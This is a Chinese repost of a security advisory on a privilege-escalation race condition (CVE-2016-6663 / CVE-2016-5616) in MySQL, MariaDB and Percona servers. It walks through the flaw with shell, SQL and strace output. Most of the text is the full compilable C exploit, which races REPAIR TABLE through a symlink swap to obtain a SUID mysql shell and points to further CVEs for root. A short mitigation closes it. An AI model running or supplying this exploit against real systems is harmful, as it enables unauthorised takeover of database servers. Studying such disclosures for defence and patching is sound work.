《MySQL / MariaDB / PerconaDB漏洞》要点:
本文介绍了MySQL / MariaDB / PerconaDB漏洞,希望对您有用。如果有疑问,可以联系我们。
【漏洞预警】MySQL / MariaDB / PerconaDB - 提权/条件竞争漏洞(附POC)(8:00更新)
漏洞发现人:Dawid Golunski
漏洞级别:严重
CVE编号 :CVE-2016-6663 / CVE-2016-5616
漏洞影响:
MariaDB | < 5.5.52 |
< 10.1.18 | |
< 10.0.28 | |
MySQL | <= 5.5.51 |
<= 5.6.32 | |
<= 5.7.14 | |
Percona Server | < 5.5.51-38.2 |
< 5.6.32-78-1 | |
< 5.7.14-8 | |
Percona XtraDB Cluster | < 5.6.32-25.17 |
< 5.7.14-26.17 | |
< 5.5.41-37.0 |
漏洞描述 :
Dawid Golunski在 MySQl, MariaDB 和 PerconaDB 数据库中发现条件竞争漏洞,该漏洞允许本地用户使用低权限(CREATE/INSERT/SELECT权限)账号提升权限到数据库系统用户(通常是'mysql')执行任意代码.成功利用此漏洞,允许攻击者完全访问数据库.也有潜在风险通过(CVE-2016-6662 和 CVE-2016-6664漏洞)获取操作系统root权限.
漏洞细节:
基于MYSQL的数据库允许用户新建数据库,并且指定存储目录.例如:
1 | <p style= "text-indent: 2em;" >attacker@debian:~$ mkdir /tmp/disktable <br>attacker@debian:~$ chmod 777 /tmp/disktable/ <br>attacker@debian:~$ ls -ld /tmp/disktable/ <br>drwxrwxrwx 2 attacker attacker 4096 Oct 28 10:53 /tmp/disktable/ <br>< /p > |
可以通过data directory参数指定存储目录为/tmp/disktable/
1 | <p style= "text-indent: 2em;" >mysql> CREATE TABLE poctab1 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable' ;<br>< /p > |
执行完成后,查看下目录权限,变为mysql
1 | <p style= "text-indent: 2em;" >attacker@debian:~$ ls -l /tmp/disktable/ <br>total 0<br>-rw-rw---- 1 mysql mysql 0 Oct 28 10:53 poctab1.MYD<br>< /p > |
低权限(SELECT/CREATE/INSERT权限)的MYSQL账户,在执行表修复过程中,执行了不安全的临时文件创建.
1 | <p style= "text-indent: 2em;" >mysql> REPAIR TABLE `poctab1`;<br>+----------------+--------+----------+----------+<br>| Table | Op | Msg_type | Msg_text |<br>+----------------+--------+----------+----------+<br>| testdb.poctab1 | repair | status | OK |<br>+----------------+--------+----------+----------+<br>< /p > |
通过查看系统调用,可以看到
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] open ( "/tmp/disktable/poctab1.MYD" , O_RDWR) = 65<br>[pid 1463] access( "./testdb/poctab1.TRG" , F_OK) = -1 ENOENT (No such file or directory)<br>[pid 1463] lseek(65, 0, SEEK_CUR) = 0<br>[pid 1463] lseek(65, 0, SEEK_END) = 0<br>[pid 1463] mprotect(0x7f6a3804f000, 12288, PROT_READ|PROT_WRITE) = 0<br>[pid 1463] open ( "/tmp/disktable/poctab1.TMD" , O_RDWR|O_CREAT|O_EXCL|O_TRUNC, 0660) = 66<br>[pid 1463] lseek(65, 0, SEEK_END) = 0<br>[pid 1463] lseek(64, 0, SEEK_END) = 1024<br>[pid 1463] close(65) = 0<br>[pid 1463] close(66) = 0<br>[pid 1463] lstat( "/tmp" , {st_mode=S_IFDIR|S_ISVTX|0777, st_size=4096, ...}) = 0<br>[pid 1463] lstat( "/tmp/disktable" , {st_mode=S_IFDIR|0777, st_size=4096, ...}) = 0<br>[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] stat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>[pid 1463] chmod ( "/tmp/disktable/poctab1.TMD" , 0660) = 0<br>[pid 1463] chown ( "/tmp/disktable/poctab1.TMD" , 110, 115) = 0<br>[pid 1463] unlink( "/tmp/disktable/poctab1.MYD" ) = 0<br>[pid 1463] rename( "/tmp/disktable/poctab1.TMD" , "/tmp/disktable/poctab1.MYD" ) = 0<br>< /p > |
第一个系统调用是
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>< /p > |
我们可以看到,在检验poctab1.MYD表文件权限的时候,也会复制在创建repaired表时的临时文件chmod()权限.因此在
1 | <p style= "text-indent: 2em;" >[pid 1463] lstat( "/tmp/disktable/poctab1.MYD" , {st_mode=S_IFREG|0660, st_size=0, ...}) = 0<br>< /p > |
和
1 | <p style= "text-indent: 2em;" >[pid 1463] chmod ( "/tmp/disktable/poctab1.TMD" , 0660) = 0<br>< /p > |
系统调用之间,产生了条件竞争漏洞.
如果攻击者删除临时表poctab1.TMD,然后通过符号链接在chmod()操作前替换/var/lib/mysql,则能够完全控制MYSQL的data目录权限.
攻击者可以预设置poctab1.MYD权限为04777(suid),然后通过有漏洞的chmod()调用有效的复制一个bash shell来执行命令.这里会有一个问题,suid shell将指挥保留攻击者的UID,而不是'mysql'用户.因此攻击者需要复制bash shell到mysql用户用户的表文件,然而mysql表文件又不具有写权限.
可以通过新建一个具有组粘帖位(group sticky bit)的目录来绕过这个限制
新建/tmp/disktable/目录,并赋予组粘帖位(group sticky bit)
1 | <p style= "text-indent: 2em;" >attacker@debian: /tmp/disktable $ chmod g+s /tmp/disktable/ <br>attacker@debian: /tmp/disktable $ ls -ld /tmp/disktable/ <br>drwxrwsrwx 2 attacker attacker 4096 Oct 28 11:25 /tmp/disktable/ <br>< /p > |
通过data directory参数指定存储目录为/tmp/disktable/
1 | <p style= "text-indent: 2em;" >mysql> CREATE TABLE poctab2 (txt varchar(50)) engine = 'MyISAM' data directory '/tmp/disktable' ;<br>Query OK, 0 rows affected (0.00 sec)<br>< /p > |
再次查看/tmp/disktable/权限
1 2 3 4 | attacker@debian: /tmp/disktable $ ls -l /tmp/disktable/ total 0 -rw-rw---- 1 mysql mysql 0 Oct 28 11:04 poctab1.MYD -rw-rw---- 1 mysql attacker 0 Oct 28 11:34 poctab2.MYD |
我们可以看到poctab2.MYD表已经是'mysql'权限了,但是属于'attacker'组.这样'attacker'就能够复制/bin/bash到poctab2.MYD文件了.
漏洞验证:
POC.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 | ------------------[ mysql-privesc-race.c ]-------------------- /* MySQL /PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit mysql-privesc-race.c (ver. 1.0) CVE-2016-6663 / OCVE-2016-5616 Discovered /Coded by: Dawid Golunski dawid[at]legalhackers.com @dawid_golunski http: //legalhackers .com Compile: gcc mysql-privesc-race.c -o mysql-privesc-race -I /usr/include/mysql -lmysqlclient Note: * On RedHat-based systems you might need to change /tmp to another public directory * For testing purposes only. Do no harm. Full advisory URL: http: //legalhackers .com /advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit .html */ #include <fcntl.h> #include <grp.h> #include <mysql.h> #include <pwd.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/inotify.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/wait.h> #include <time.h> #include <unistd.h> #define EXP_PATH "/tmp/mysql_privesc_exploit" #define EXP_DIRN "mysql_privesc_exploit" #define MYSQL_TAB_FILE EXP_PATH "/exploit_table.MYD" #define MYSQL_TEMP_FILE EXP_PATH "/exploit_table.TMD" #define SUID_SHELL EXP_PATH "/mysql_suid_shell.MYD" #define MAX_DELAY 1000 // can be used in the race to adjust the timing if necessary MYSQL *conn; // DB handles MYSQL_RES *res; MYSQL_ROW row; unsigned long cnt; void intro() { printf ( "\033[94m\n" "MySQL/PerconaDB/MariaDB - Privilege Escalation / Race Condition PoC Exploit\n" "mysql-privesc-race.c (ver. 1.0)\n\n" "CVE-2016-6663 / OCVE-2016-5616\n\n" "For testing purposes only. Do no harm.\n\n" "Discovered/Coded by:\n\n" "Dawid Golunski \n" "http://legalhackers.com" "\033[0m\n\n" ); } void usage(char *argv0) { intro(); printf ( "Usage:\n\n%s user pass db_host database\n\n" , argv0); } void mysql_cmd(char *sql_cmd, int silent) { if (!silent) { printf ( "%s \n" , sql_cmd); } if (mysql_query(conn, sql_cmd)) { fprintf(stderr, "%s\n" , mysql_error(conn)); exit (1); } res = mysql_store_result(conn); if (res>0) mysql_free_result(res); } int main(int argc,char **argv) { int randomnum = 0; int io_notified = 0; int myd_handle; int wpid; int is_shell_suid=0; pid_t pid; int status; struct stat st; /* io notify */ int fd; int ret; char buf[4096] __attribute__((aligned(8))); int num_read; struct inotify_event *event; /* credentials */ char *user = argv[1]; char *password = argv[2]; char *db_host = argv[3]; char *database = argv[4]; // Disable buffering of stdout setvbuf(stdout, NULL, _IONBF, 0); // Get the params if (argc!=5) { usage(argv[0]); exit (1); } intro(); // Show initial privileges printf ( "\n[+] Starting the exploit as: \n" ); system( "id" ); // Connect to the database server with provided credentials printf ( "\n[+] Connecting to the database `%s` as %s@%s\n" , database, user, db_host); conn = mysql_init(NULL); if (!mysql_real_connect(conn, db_host, user, password, database, 0, NULL, 0)) { fprintf(stderr, "%s\n" , mysql_error(conn)); exit (1); } // Prepare tmp dir printf ( "\n[+] Creating exploit temp directory %s\n" , "/tmp/" EXP_DIRN); umask (000); system( "rm -rf /tmp/" EXP_DIRN " && mkdir /tmp/" EXP_DIRN); system( "chmod g+s /tmp/" EXP_DIRN ); // Prepare exploit tables :) printf ( "\n[+] Creating mysql tables \n\n" ); mysql_cmd( "DROP TABLE IF EXISTS exploit_table" , 0); mysql_cmd( "DROP TABLE IF EXISTS mysql_suid_shell" , 0); mysql_cmd( "CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 0); mysql_cmd( "CREATE TABLE mysql_suid_shell (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 0); // Copy /bin/bash into the mysql_suid_shell.MYD mysql table file // The file should be owned by mysql:attacker thanks to the sticky bit on the table directory printf ( "\n[+] Copying bash into the mysql_suid_shell table.\n After the exploitation the following file/table will be assigned SUID and executable bits : \n" ); system( "cp /bin/bash " SUID_SHELL); system( "ls -l " SUID_SHELL); // Use inotify to get the timing right fd = inotify_init(); if (fd < 0) { printf ( "failed to inotify_init\n" ); return -1; } ret = inotify_add_watch(fd, EXP_PATH, IN_CREATE | IN_CLOSE); /* Race loop until the mysql_suid_shell.MYD table file gets assigned SUID+ exec perms */ printf ( "\n[+] Entering the race loop... Hang in there...\n" ); while ( is_shell_suid != 1 ) { cnt++; if ( (cnt % 100) == 0 ) { printf ( "->" ); //fflush (stdout); } /* Create empty file , remove if already exists */ unlink(MYSQL_TEMP_FILE); unlink(MYSQL_TAB_FILE); mysql_cmd( "DROP TABLE IF EXISTS exploit_table" , 1); mysql_cmd( "CREATE TABLE exploit_table (txt varchar(50)) engine = 'MyISAM' data directory '" EXP_PATH "'" , 1); /* random num if needed */ srand ( time (NULL) ); randomnum = ( rand() % MAX_DELAY ); // Fork, to run the query asynchronously and have time to replace table file (MYD) with a symlink pid = fork(); if (pid < 0) { fprintf(stderr, "Fork failed :(\n" ); } /* Child process - executes REPAIR TABLE SQL statement */ if (pid == 0) { usleep(500); unlink(MYSQL_TEMP_FILE); mysql_cmd( "REPAIR TABLE exploit_table EXTENDED" , 1); // child stops here exit (0); } /* Parent process - aims to replace the temp .tmd table with a symlink before chmod */ if (pid > 0 ) { io_notified = 0; while (1) { int processed = 0; ret = read (fd, buf, sizeof(buf)); if (ret < 0) { break ; } while (processed < ret) { event = (struct inotify_event *)(buf + processed); if (event->mask & IN_CLOSE) { if (!strcmp(event->name, "exploit_table.TMD" )) { //usleep (randomnum); // Set the .MYD permissions to suid+ exec before they get copied to the .TMD file unlink(MYSQL_TAB_FILE); myd_handle = open (MYSQL_TAB_FILE, O_CREAT, 0777); close(myd_handle); chmod (MYSQL_TAB_FILE, 04777); // Replace the temp .TMD file with a symlink to the target sh binary to get suid+ exec unlink(MYSQL_TEMP_FILE); symlink (SUID_SHELL, MYSQL_TEMP_FILE); io_notified=1; } } processed += sizeof(struct inotify_event); } if (io_notified) { break ; } } waitpid(pid, &status, 0); } // Check if SUID bit was set at the end of this attempt if ( lstat(SUID_SHELL, &st) == 0 ) { if (st.st_mode & S_ISUID) { is_shell_suid = 1; } } } printf ( "\n\n[+] \033[94mBingo! Race won (took %lu tries) !\033[0m Check out the \033[94mmysql SUID shell\033[0m: \n\n" , cnt); system( "ls -l " SUID_SHELL); printf ( "\n[+] Spawning the \033[94mmysql SUID shell\033[0m now... \n Remember that from there you can gain \033[1;31mroot\033[0m with vuln \033[1;31mCVE-2016-6662\033[0m or \033[1;31mCVE-2016-6664\033[0m :)\n\n" ); system(SUID_SHELL " -p -i " ); //system (SUID_SHELL " -p -c '/bin/bash -i -p'" ); /* close MySQL connection and exit */ printf ( "\n[+] Job done. Exiting\n\n" ); mysql_close(conn); return 0; } |
视频参考(作者随后上传):
http://legalhackers.com/videos/MySQL-MariaDB-PerconaDB-PrivEsc-Race-CVE-2016-6663-5616-6664-5617-Exploits.html
临时解决办法:
在my.cnf中添加
symbolic-links = 0
参考链接:
http://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
欢迎参与《MySQL / MariaDB / PerconaDB漏洞》讨论,分享您的想法,维易PHP学院为您提供专业教程。
转载请注明本页网址:
http://www.vephp.com/jiaocheng/7672.html